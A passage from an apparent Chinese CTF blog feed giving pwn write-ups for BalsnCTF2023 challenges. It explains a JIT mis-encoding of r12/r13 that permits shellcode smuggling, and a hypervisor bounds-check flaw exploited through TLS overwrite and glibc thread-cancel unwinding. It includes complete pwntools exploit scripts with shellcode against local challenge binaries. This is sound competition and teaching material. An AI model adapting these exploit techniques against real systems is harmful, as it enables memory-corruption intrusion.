class="string">&#x27;4003004119003400000000000120023001015a21440400400a00fd401c00fd56005611ff3002085a2b42f3ff27995a8944ecff281050102f90fd400100fd3009105a9b42d9ff5010590a300208278950202f90300302513e59e33700633193a9d18f5ea530011059a2fe203130000850022f825a8144a7ff51022f92270030021059b15121fefd&#x27;</span>, <span class="string">&#x27;2fd4be9be84da8a203cfa80f008fe7a4b14a654d504a67f90c898da101a1527a8f8d43e1dd4eb4f0465deaf030ca2f723b269d959bfb47905f8c169d1028a5f41197b4b51c48bb85e578ea66b6bfd6e2b10d0c8b151fa8774fe91f56e9ad5ff5bff9fa5af6b0e52c08ea014b6b55115918d2d60860464d865fe2c521503fb2a4ed3a551d9c27d933d3de1d183de0e2d085166c9815843546bf6a3698a02a107ca57b6f7d329e1a3e9496ad7f1c69e069cd84947d98b241f5226db74eb018494945c21420ad2cfbfb4b2c0f586f7820794eedf2df8e7527d98873535c5d05ffb8df44c4f8b5cf3dc34515806ee7aa85cba75e1872a340435efffb13a6a395a812&#x27;</span>, nonce=<span class="string">&#x27;2fd4be9be84da8a203cfa80f008fe7a4b14a654d504a67f90c898da101a1527a8f8d43e1dd4eb4f0465deaf030ca2f723b269d959bfb47905f8c169d1028a5f41197b4b51c48bb85e578ea66b6bfd6e2b10d0c8b151fa8774fe91f56e9ad5ff5bff9fa5af6b0e52c08ea014b6b55115918d2d60860464d865fe2c521503fb2a4ed3a551d9c27d933d3de1d183de0e2d085166c9815843546bf6a3698a02a107ca57b6f7d329e1a3e9496ad7f1c69e069cd84947d98b241f5226db74eb018494945c21420ad2cfbfb4b2c0f586f7820794eedf2df8e7527d98873535c5d05ffb8df44c4f8b5cf3dc34515806ee7aa85cba75e1872a340435efffb13a6a395a812&#x27;</span>)</span><br><span class="line">nonce=sha256(<span class="built_in">bytes</span>.fromhex(<span class="string">&#x27;deadbeefdeadbeef&#x27;</span>)).hexdigest()[:<span class="number">16</span>]</span><br><span class="line">invokeApplet(<span class="built_in">id</span>, nonce)</span><br><span class="line">invokeApplet(<span class="built_in">id</span>, <span class="string">&#x27;deadbeefdeadbeef&#x27;</span>+<span class="string">&#x27;25663ff71c330069&#x27;</span>)</span><br><span class="line">context.log_level=<span class="string">&#x27;INFO&#x27;</span></span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure><h2 id="Protostar-Stage2-JIT"><a href="#Protostar-Stage2-JIT" class="headerlink" title="Protostar(Stage2, JIT)"></a>Protostar(Stage2, JIT)</h2><p>根据上文对<code>const.h</code>的分析和flag引用查找可知，本题需要我们控制device向hypervisor发送特定的interrupt得到flag。</p><p>漏洞点在于JIT对<code>mov reg, [reg]</code>的实现有误：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line">//APPLET_PROCESSOR/jit.h</span><br><span class="line"></span><br><span class="line">#define MEM_LOAD(_APPLET_CONTEXT, _PC, _REG1, _REG2, _SIZE) &#123; \</span><br><span class="line">  uint64_t MLO_asmByte; \</span><br><span class="line">  MEM_TRANSLATE(_APPLET_CONTEXT, _PC, _REG2, _SIZE); \</span><br><span class="line">  MLO_asmByte = 0x008b48 | (((_REG1) &amp; 8) &gt;&gt; 1) | (((_REG1) &amp; 7) &lt;&lt; 19) | (((_REG2) &amp; 8) &gt;&gt; 3) | (((_REG2) &amp; 7) &lt;&lt; 16); \</span><br><span class="line">  EMIT(_APPLET_CONTEXT, &amp;MLO_asmByte, 3);                     /* mov reg1, [reg2] */ \</span><br><span class="line">  if ((_SIZE) != 8) &#123; \</span><br><span class="line">    MLO_asmByte = 0x00e0c148 | (((8 - (_SIZE)) * 8) &lt;&lt; 24) | (((_REG1) &amp; 8) &gt;&gt; 3) | (((_REG1) &amp; 7) &lt;&lt; 16); \</span><br><span class="line">    EMIT(_APPLET_CONTEXT, &amp;MLO_asmByte, 4);                   /* shl reg1, ((8 - size) * 8) */ \</span><br><span class="line">    MLO_asmByte = 0x00e8c148 | (((8 - (_SIZE)) * 8) &lt;&lt; 24) | (((_REG1) &amp; 8) &gt;&gt; 3) | (((_REG1) &amp; 7) &lt;&lt; 16); \</span><br><span class="line">    EMIT(_APPLET_CONTEXT, &amp;MLO_asmByte, 4);                   /* shr reg1, ((8 - size) * 8) */ \</span><br><span class="line">  &#125; \</span><br><span class="line">  if ((_REG1) == (_REG2)) &#123; \</span><br><span class="line">    EMIT(_APPLET_CONTEXT, &quot;\x48\x83\xc4\x08&quot;, 4);             /* add rsp, 8 */ \</span><br><span class="line">  &#125; else &#123; \</span><br><span class="line">    HOST_POP_REG(_APPLET_CONTEXT, _REG2);                     /* pop reg2 */ \</span><br><span class="line">  &#125; \</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>此处使用的<code>mov</code>指令为<code>mov r64, r/m64</code>，指令格式为<code>REX.W + 8B /r</code>，题目通过更改<code>REX.B</code>和<code>ModRM:r/m</code>来编码第二个操作数，然而当第二个操作数为<code>r12</code>或<code>r13</code>时，编码格式稍有变化</p><p> <img src="/2fcb598a-6bfc-402c-b543-01eb1c36d60f.png"></p><p><code>r12</code>对应的<code>R/M</code>为100，<code>r13</code>对应的<code>R/M</code>为101，显然在Mod为00时（即操作数为寄存器且无偏移时）他们不能被直接塞入<code>R/M</code>中，取而代之应该结合REX，对于r12使用SIB byte，对于r13增加00偏移来表示</p><p> <img src="/31f80ee8-0855-4183-bca6-f8884af3a2f0.png" alt="感觉mod?11是intel文档乱码了"></p><p>而题目没有考虑到这种情况，错误地进行了编码，例如<code>mov rax, [r13]</code>被编码为<code>49 8b 05</code>。我们看到在Table 2-2中，并没有给出对应的寄存器。那么这对应的指令是什么呢？</p><p> <img src="/7e545419-902d-4da1-89c1-0e244910970a.png"></p><p>通过翻阅手册我们得知，<code>49 8b 05 XX XX XX XX</code>对应的是<code>mov rax, [rip+{int32}]</code>，即RIP相对寻址。因为指令长度的不同，这里JIT的错误编码给了我们构造指令错位的机会。构造时要注意寻址到合法的地址，通过调试得知需要int32为一个较小的正数（小于0x26b5f4d）。</p><p>回到漏洞点，我们发现在<code>49 8b 05</code>后还有<code>HOST_POP_REG(_APPLET_CONTEXT, _REG2)</code>，即<code>pop r13</code>，即占用了两个字节。接下来我们翻<code>jit.h</code>找一个比较小的指令，发现<code>add</code>很符合需求(<code>_OP==1</code>)</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">// op reg1, reg2</span><br><span class="line">#define REG_OPS(_APPLET_CONTEXT, _OP, _REG1, _REG2) &#123; \</span><br><span class="line">  uint64_t RPS_asmByte = 0xc00048 | ((_OP) &lt;&lt; 8) | (((_REG1) &amp; 8) &gt;&gt; 3) | (((_REG1) &amp; 7) &lt;&lt; 16) | (((_REG2) &amp; 8) &gt;&gt; 1) | (((_REG2) &amp; 7) &lt;&lt; 19); \</span><br><span class="line">  EMIT(_APPLET_CONTEXT, &amp;RPS_asmByte, 3); \</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>并且我们惊喜地发现，通过控制<code>_REG2=0b101(RBP/R13)</code>, <code>REG1=0b011(RBX/R11)</code>即可在第三个字节构造出<code>0xeb</code>，即<code>jmp rel8</code>指令的opcode。考虑到我们只能使用r0-r15，可以选择<code>add r3, r13</code>或<code>add r11, r13</code>。接下来我们构造<code>rel8</code>，实际上直接使用<code>REX</code>(0x48)即可，我们可以直接使用<code>load reg, imm64</code>作padding，并使用其中的<code>imm64</code>放置shellcode，在两段<code>imm64</code>间使用<code>jmp $+2</code>衔接。</p><p>最终exp如下</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> typing <span class="keyword">import</span> <span class="type">Optional</span></span><br><span class="line"><span class="keyword">from</span> assembler <span class="keyword">import</span> aasm</span><br><span class="line"></span><br><span class="line">context.log_level=<span class="string">&#x27;debug&#x27;</span></span><br><span class="line">p=process([<span class="string">&#x27;./hypervisor&#x27;</span>,<span class="string">&#x27;./processor&#x27;</span>,<span class="string">&#x27;./kernel&#x27;</span>,<span class="string">&#x27;./user&#x27;</span>,<span class="string">&#x27;100000&#x27;</span>])</span><br><span class="line">menu=<span class="string">b&#x27;leave&#x27;</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sendNum</span>(<span class="params">x: <span class="built_in">int</span></span>):</span><br><span class="line">    p.sendline(<span class="built_in">str</span>(x).encode())</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">login</span>(<span class="params">username: <span class="built_in">bytes</span>, password: <span class="built_in">bytes</span>, usernameLen: <span class="type">Optional</span>[<span class="built_in">int</span>] = <span class="literal">None</span>, passwordLen = <span class="literal">None</span></span>):</span><br><span class="line">    <span class="keyword">if</span> usernameLen==<span class="literal">None</span>:</span><br><span class="line">        usernameLen=<span class="built_in">len</span>(username)</span><br><span class="line">    <span class="keyword">if</span> passwordLen==<span class="literal">None</span>:</span><br><span class="line">        passwordLen=<span class="built_in">len</span>(password)</span><br><span class="line">    sendNum(usernameLen)</span><br><span class="line">    sendNum(passwordLen)</span><br><span class="line">    p.send(username)</span><br><span class="line">    p.send(password)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">registerApplet</span>(<span class="params">code: <span class="built_in">str</span>, signature: <span class="built_in">str</span> = <span class="string">&#x27;00&#x27;</span>*<span class="number">0x100</span>, codeLen: <span class="type">Optional</span>[<span class="built_in">int</span>] = <span class="literal">None</span>, nonce: <span class="built_in">str</span> = <span class="string">&#x27;00&#x27;</span>*<span class="number">0x100</span>, pubn: <span class="built_in">str</span> = <span class="string">&#x27;00&#x27;</span>*<span class="number">0x100</span>, pube:<span class="built_in">str</span> = <span class="string">&#x27;00&#x27;</span>*<span class="number">0x100</span></span>) -&gt; <span class="built_in">int</span>:</span><br><span class="line">    <span class="keyword">assert</span>(<span class="built_in">len</span>(code)%<span class="number">2</span>==<span class="number">0</span>)</span><br><span class="line">    <span class="keyword">if</span> codeLen == <span class="literal">None</span>:</span><br><span class="line">        codeLen=<span class="built_in">len</span>(code)//<span class="number">2</span></span><br><span class="line">    sendNum(<span class="number">1</span>)</span><br><span class="line">    sendNum(codeLen)</span><br><span class="line">    p.send(code.encode())</span><br><span class="line">    p.send(nonce.encode())</span><br><span class="line">    p.send(pubn.encode())</span><br><span class="line">    p.send(pube.encode())</span><br><span class="line">    p.send(signature.encode())</span><br><span class="line">    p.recvuntil(<span class="string">b&#x27;: &#x27;</span>)</span><br><span class="line">    <span class="keyword">return</span> <span class="built_in">int</span>(p.recvuntil(<span class="string">b&#x27;\n&#x27;</span>).decode())</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">invokeApplet</span>(<span class="params">appid: <span class="built_in">int</span>, data: <span class="built_in">str</span> = <span class="string">&#x27;&#x27;</span>, dataLen: <span class="type">Optional</span>[<span class="built_in">int</span>] = <span class="literal">None</span></span>) -&gt; <span class="built_in">int</span>:</span><br><span class="line">    <span class="keyword">assert</span>(<span class="built_in">len</span>(data)%<span class="number">2</span>==<span class="number">0</span>)</span><br><span class="line">    <span class="keyword">if</span> dataLen == <span class="literal">None</span>:</span><br><span class="line">        dataLen=<span class="built_in">len</span>(data)//<span class="number">2</span></span><br><span class="line">    sendNum(<span class="number">3</span>)</span><br><span class="line">    sendNum(appid)</span><br><span class="line">    sendNum(dataLen)</span><br><span class="line">    p.send(data.encode())</span><br><span class="line">    p.recvuntil(<span class="string">b&#x27;: &#x27;</span>)</span><br><span class="line">    <span class="keyword">return</span> <span class="built_in">int</span>(p.recvuntil(<span class="string">b&#x27;\n&#x27;</span>).decode())</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">login(<span class="string">b&#x27;a&#x27;</span>, <span class="string">b&#x27;a&#x27;</span>)</span><br><span class="line">p.recvuntil(menu)</span><br><span class="line"></span><br><span class="line">code=<span class="string">&#x27;&#x27;&#x27;</span></span><br><span class="line"><span class="string">load &lt;8&gt; r0, [r13]</span></span><br><span class="line"><span class="string">add r11, r13</span></span><br><span class="line"><span class="string">load &lt;8&gt; r0, 0</span></span><br><span class="line"><span class="string">load &lt;8&gt; r0, 0</span></span><br><span class="line"><span class="string">load &lt;8&gt; r0, 0</span></span><br><span class="line"><span class="string">load &lt;8&gt; r0, 0</span></span><br><span class="line"><span class="string">load &lt;8&gt; r0, 0</span></span><br><span class="line"><span class="string">load &lt;8&gt; r0, 0</span></span><br><span class="line"><span class="string">load &lt;8&gt; r0, 0</span></span><br><span class="line"><span class="string">load &lt;8&gt; r0, 0x02eb00000102bf90  // nop; mov edi, 0x102; jmp 2</span></span><br><span class="line"><span class="string">load &lt;8&gt; r0, 0x02eb54000000f368  // push 0xf3; push rsp; jmp 2</span></span><br><span class="line"><span class="string">load &lt;8&gt; r0, 0x02eb500104c0315e  // pop rsi; xor eax, eax; add al, 1; push rax; jmp 2</span></span><br><span class="line"><span class="string">load &lt;8&gt; r0, 0x050f3cb0050f5a    // pop rdx; syscall; mov al, 0x3c; syscall</span></span><br><span class="line"><span class="string">&#x27;&#x27;&#x27;</span></span><br><span class="line">code=aasm(code)</span><br><span class="line"></span><br><span class="line">appid=registerApplet(code.<span class="built_in">hex</span>())</span><br><span class="line">invokeApplet(appid)</span><br><span class="line"></span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure><h2 id="Redgiant-Stage3-Userspace"><a href="#Redgiant-Stage3-Userspace" class="headerlink" title="Redgiant(Stage3, Userspace)"></a>Redgiant(Stage3, Userspace)</h2><p>还在看</p><h2 id="Supernova-Stage4-Kernel"><a href="#Supernova-Stage4-Kernel" class="headerlink" title="Supernova(Stage4, Kernel)"></a>Supernova(Stage4, Kernel)</h2><p>还在看</p><h2 id="Neutron-Stage5-Hypervisor"><a href="#Neutron-Stage5-Hypervisor" class="headerlink" title="Neutron(Stage5, Hypervisor)"></a>Neutron(Stage5, Hypervisor)</h2><p>攻击hypervisor，最先想到的就是对内存的读写操作没有进行完好的边界检查。注意到以下代码(<code>HYPERVISOR/hypercall.c</code>)</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br></pre></td><td class="code"><pre><span class="line">#define MEM_SIZE 0x4000000</span><br><span class="line">#define PAGE_SIZE 0x1000</span><br><span class="line"></span><br><span class="line">uint64_t getMem(VM *vm, uint32_t paddr, uint32_t size, void *dst) &#123;</span><br><span class="line">  if (paddr &gt;= MEM_SIZE) return FAIL;</span><br><span class="line">  memcpy(dst, &amp;(((char*)vm-&gt;mem)[paddr]), size);</span><br><span class="line">  return SUCCESS;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">uint64_t setMem(VM *vm, uint32_t paddr, uint32_t size, void *src) &#123;</span><br><span class="line">  if (paddr &gt;= MEM_SIZE) return FAIL;</span><br><span class="line">  memcpy(&amp;(((char*)vm-&gt;mem)[paddr]), src, size);</span><br><span class="line">  return SUCCESS;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">uint32_t hp_read(VM *vm) &#123;</span><br><span class="line">  HYPER_READ readArg;</span><br><span class="line">  char buf[PAGE_SIZE];</span><br><span class="line">  if (getHpArg(vm, sizeof(HYPER_READ), &amp;readArg) == FAIL) return HP_FAIL;</span><br><span class="line">  if (readArg.fd != STDIN_FILENO) return HP_FAIL;</span><br><span class="line">  if (readArg.size &gt; PAGE_SIZE) return HP_FAIL;</span><br><span class="line">  for (uint64_t cursor = 0, readSize = 0; cursor &lt; readArg.size; cursor += readSize) &#123;</span><br><span class="line">    if ((readSize = read(readArg.fd, &amp;buf[cursor], readArg.size - cursor)) &lt;= 0) return HP_FAIL;</span><br><span class="line">  &#125;</span><br><span class="line">  if (setMem(vm, readArg.paddr, readArg.size, buf) == FAIL) return HP_FAIL;</span><br><span class="line">  return HP_SUCCESS;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">uint32_t hp_write(VM *vm) &#123;</span><br><span class="line">  HYPER_WRITE writeArg;</span><br><span class="line">  char buf[PAGE_SIZE];</span><br><span class="line">  if (getHpArg(vm, sizeof(HYPER_WRITE), &amp;writeArg) == FAIL) return HP_FAIL;</span><br><span class="line">  if (writeArg.fd != STDOUT_FILENO) return HP_FAIL;</span><br><span class="line">  if (writeArg.size &gt; PAGE_SIZE) return HP_FAIL;</span><br><span class="line">  if (getMem(vm, writeArg.paddr, writeArg.size, buf) == FAIL) return HP_FAIL;</span><br><span class="line">  if (write(writeArg.fd, buf, writeArg.size) != writeArg.size) return HP_FAIL;</span><br><span class="line">  return HP_SUCCESS;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>仅对<code>paddr</code>进行了越界检查，而没有检查<code>paddr+size</code>是否越界。这导致我们可以实现hypervisor内存<code>vm.mem</code>后0xfff大小的任意读写。根据调试可以得知，这个位置刚好是TLS的部分。先通过读得到libc_base</p><p>我们可以通过修改fs_base附近的内容，使read认为自己处在一个被cancel的线程中，从而执行exception handler。  </p><p>调用链<code>__GI__libc_read → __GI__pthread_enable_asynccancel → __do_cancel → __GI___pthread_unwind → _Unwind_ForcedUnwind(glibc) → link → _Unwind_ForcedUnwind(libgcc) → …(调不明白了) → __libc_longjmp → __longjmp_cancel </code></p><p>因为link时的指针都被mangle过（左移0x11异或fs:[0x30]），所以我们可以先把fs:[0x30]改为0</p><p>为了满足pthread_enable_asynccancel的条件，需要把fs:[0x18]设为1，fs:[0x308]设为8</p><p>通过修改fs:[0x300]处的结构体指针，我们可以控制执行exception handler时的寄存器，包括r8, r9, rdx(rip), rbx, r12, r13, r14, r15, rbp, rsp。通过调试可知此时r10也为0，所以我们可以直接使用one_gadget得到shell。如果没有合适的one_gadget，也可以通过ROP getshell（因为rsp可控）</p><p>具体偏移如下（rdi为fs:[0x300]处的结构体指针）：</p><p> <img src="/8e22ff5c-4bfd-484b-a1a4-2fc8f304e4e1.png"></p><p>进行hypercall时，eax使用任意空闲内存地址即可，我使用了kernel的栈顶部分</p><p>对于processor，使用<code>jmp $-2</code>似乎会导致hypervisor接收中断失败从而崩溃，因此我选择使其陷入IO中</p><p>最终exp：（作者给出的官方exp似乎打不通，小坑）</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> u64,p32,p64</span><br><span class="line">context(arch=<span class="string">&#x27;amd64&#x27;</span>,log_level=<span class="string">&#x27;debug&#x27;</span>,terminal=[<span class="string">&#x27;tmux&#x27;</span>,<span class="string">&#x27;splitw&#x27;</span>,<span class="string">&#x27;-h&#x27;</span>])</span><br><span class="line">p=process([<span class="string">&#x27;./hypervisor&#x27;</span>,<span class="string">&#x27;./processor&#x27;</span>,<span class="string">&#x27;./kernel&#x27;</span>,<span class="string">&#x27;./user&#x27;</span>,<span class="string">&#x27;3&#x27;</span>])</span><br><span class="line">libc=ELF(<span class="string">&#x27;/lib/x86_64-linux-gnu/libc.so.6&#x27;</span>,checksec=<span class="literal">False</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">rol</span>(<span class="params">val, cnt</span>):</span><br><span class="line">    <span class="keyword">return</span> ((val &lt;&lt; cnt) | (val &gt;&gt; (<span class="number">64</span> - cnt))) &amp; ((<span class="number">1</span> &lt;&lt; <span class="number">64</span>) - <span class="number">1</span>)</span><br><span class="line"></span><br><span class="line">sc1=asm(<span class="string">&#x27;&#x27;&#x27;</span></span><br><span class="line"><span class="string">label_1:</span></span><br><span class="line"><span class="string">    mov edi,0x100</span></span><br><span class="line"><span class="string">    lea rsi,[rip+0x20]</span></span><br><span class="line"><span class="string">    mov edx,0x100</span></span><br><span class="line"><span class="string">    xor eax,eax</span></span><br><span class="line"><span class="string">    syscall</span></span><br><span class="line"><span class="string">    jmp label_1</span></span><br><span class="line"><span class="string">&#x27;&#x27;&#x27;</span>)</span><br><span class="line"></span><br><span class="line">sc2=asm(<span class="string">&#x27;&#x27;&#x27;</span></span><br><span class="line"><span class="string">mov dx,0x8001 </span></span><br><span class="line"><span class="string">mov eax,0x5c000</span></span><br><span class="line"><span class="string">mov qword ptr [rax],1</span></span><br><span class="line"><span class="string">mov qword ptr [rax+8],0x3ffffff</span></span><br><span class="line"><span class="string">mov qword ptr [rax+0x10],0x1000</span></span><br><span class="line"><span class="string">out dx, eax</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">mov dx,0x8000</span></span><br><span class="line"><span class="string">mov eax,0x5c000</span></span><br><span class="line"><span class="string">mov qword ptr [rax],0</span></span><br><span class="line"><span class="string">mov qword ptr [rax+8],0x3ffffff</span></span><br><span class="line"><span class="string">mov qword ptr [rax+0x10],0x1000</span></span><br><span class="line"><span class="string">out dx, eax</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">mov dx,0x8000</span></span><br><span class="line"><span class="string">mov eax,0x5c000</span></span><br><span class="line"><span class="string">mov qword ptr [rax],0</span></span><br><span class="line"><span class="string">mov qword ptr [rax+8],0x3ffffff</span></span><br><span class="line"><span class="string">mov qword ptr [rax+0x10],0x1000</span></span><br><span class="line"><span class="string">out dx, eax</span></span><br><span class="line"><span class="string">&#x27;&#x27;&#x27;</span>).ljust(<span class="number">0x1000</span>,<span class="string">b&#x27;\xcc&#x27;</span>)</span><br><span class="line"></span><br><span class="line">p.sendlineafter(<span class="string">b&#x27;length : &#x27;</span>,<span class="built_in">str</span>(<span class="built_in">len</span>(sc1)).encode())</span><br><span class="line">p.sendafter(<span class="string">b&#x27;shellcode : &#x27;</span>,sc1)</span><br><span class="line">p.send(sc2)</span><br><span class="line">data=<span class="string">b&#x27;&#x27;</span></span><br><span class="line"><span class="keyword">while</span> <span class="built_in">len</span>(data)&lt;<span class="number">0x1000</span>:</span><br><span class="line">    data+=p.recv(<span class="number">0x1000</span>-<span class="built_in">len</span>(data))</span><br><span class="line">fs_base=u64(data[<span class="number">0x741</span>:<span class="number">0x749</span>])</span><br><span class="line">tls_base=fs_base-<span class="number">0x740</span></span><br><span class="line">success(<span class="string">&#x27;fs_base=&#x27;</span>+<span class="built_in">hex</span>(fs_base))</span><br><span class="line">libc.address=fs_base-<span class="number">0x740</span>+<span class="number">0x3000</span></span><br><span class="line">success(<span class="string">&#x27;libc_base=&#x27;</span>+<span class="built_in">hex</span>(libc.address))</span><br><span class="line"></span><br><span class="line">target=libc.address+<span class="number">0xebc81</span> <span class="comment">#one_gadget</span></span><br><span class="line"></span><br><span class="line">data=data[:<span class="number">0x741</span>+<span class="number">0x18</span>]+p32(<span class="number">1</span>)+data[<span class="number">0x741</span>+<span class="number">0x18</span>+<span class="number">4</span>:] <span class="comment">#pthread_cancel</span></span><br><span class="line">data=data[:<span class="number">0x741</span>+<span class="number">0x300</span>]+p64(tls_base)+p32(<span class="number">8</span>)+data[<span class="number">0x741</span>+<span class="number">0x308</span>+<span class="number">4</span>:] <span class="comment">#setjmp context</span></span><br><span class="line">data=data[:<span class="number">0x741</span>+<span class="number">0x30</span>]+p64(<span class="number">0</span>)+data[<span class="number">0x741</span>+<span class="number">0x38</span>:] <span class="comment">#fs:[0x30]</span></span><br><span class="line">data=data[:<span class="number">9</span>]+p64(rol(tls_base-<span class="number">0x1000</span>,<span class="number">0x11</span>))+data[<span class="number">0x11</span>:] <span class="comment">#rbp</span></span><br><span class="line">data=data[:<span class="number">0x31</span>]+p64(rol(tls_base,<span class="number">0x11</span>))+p64(rol(target,<span class="number">0x11</span>))+data[<span class="number">0x41</span>:] <span class="comment">#rsp rdx(rip)</span></span><br><span class="line"></span><br><span class="line">pause()</span><br><span class="line">p.send(data)</span><br><span class="line"></span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure><h2 id="StarryNight-Fullchain"><a href="#StarryNight-Fullchain" class="headerlink" title="StarryNight(Fullchain)"></a>StarryNight(Fullchain)</h2><p>还在看</p>]]></content>
    
    
    <summary type="html">又是被高手题折磨到养胃的一天</summary>
    
    
    
    <category term="notes" scheme="https://zqy.ink/categories/notes/"/>
    
    
    <category term="CTF" scheme="https://zqy.ink/tags/CTF/"/>
    
    <category term="pwn" scheme="https://zqy.ink/tags/pwn/"/>
    
    <category term="fullchain" scheme="https://zqy.ink/tags/fullchain/"/>
    
    <category term="custom vm" scheme="https://zqy.ink/tags/custom-vm/"/>
    
    <category term="jit" scheme="https://zqy.ink/tags/jit/"/>
    
    <category term="hypervisor" scheme="https://zqy.ink/tags/hypervisor/"/>
    
    <category term="kernel" scheme="https://zqy.ink/tags/kernel/"/>
    
    <category term="BalsnCTF2023" scheme="https://zqy.ink/tags/BalsnCTF2023/"/>
    
  </entry>
  
  <entry>
    <title>toka_garden赛题复现</title>
    <link href="https://zqy.ink/2023/08/15/toka_garden/"/>
    <id>https://zqy.ink/2023/08/15/toka_garden/</id>
    <published>2023-08-15T10:06:16.000Z</published>
    <updated>2025-11-14T08:20:36.883Z</updated>
    
